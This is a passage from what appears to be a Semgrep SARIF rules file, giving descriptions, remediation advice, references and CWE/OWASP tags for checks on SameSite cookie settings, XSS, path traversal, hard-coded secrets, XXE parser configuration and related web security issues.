the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","id":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","name":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href","id":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","name":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","id":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","name":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path. "},"helpUri":"https://semgrep.dev/r/java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","id":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","name":"csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.postgres.npgsqlconnectionstringbuilder-hardcoded-secret.npgsqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project Artifacts are unencrypted. The AWS KMS encryption key protects artifacts in the CodeBuild Projects. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","id":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","name":"terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-artifacts-unencrypted.aws-codebuild-project-artifacts-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"help":{"markdown":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string)\n","text":"Flask-caching doesn't cache query strings by default. You have to use `query_string=True`. Also you shouldn't cache verbs that can mutate state."},"helpUri":"https://semgrep.dev/r/python.flask.caching.query-string.flask-cache-query-string","id":"python.flask.caching.query-string.flask-cache-query-string","name":"python.flask.caching.query-string.flask-cache-query-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.flask.caching.query-string.flask-cache-query-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","id":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","name":"java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-xmldecoder.spring-tainted-xmldecoder"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","id":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","name":"python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-samesite-none.flask-cookie-app-config-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handling security in the implementation of your EntityResolver. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.no-direct-response-writer.no-direct-response-writer","id":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","name":"java.servlets.security.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"help":{"markdown":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output)\n - [https://pkg.go.dev/runtime/pprof#Profile](https://pkg.go.dev/runtime/pprof#Profile)\n","text":"Detected stack traces being printed or included in an HTTP response. This could expose sensitive information if deployed to a production environment in a user facing manner."},"helpUri":"https://semgrep.dev/r/go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","id":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","name":"go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.active-debug-code.write-pprof-profile-output.write-pprof-profile-output"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-dangerouslysetinnerhtml.react-nextjs-router-create-element-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use 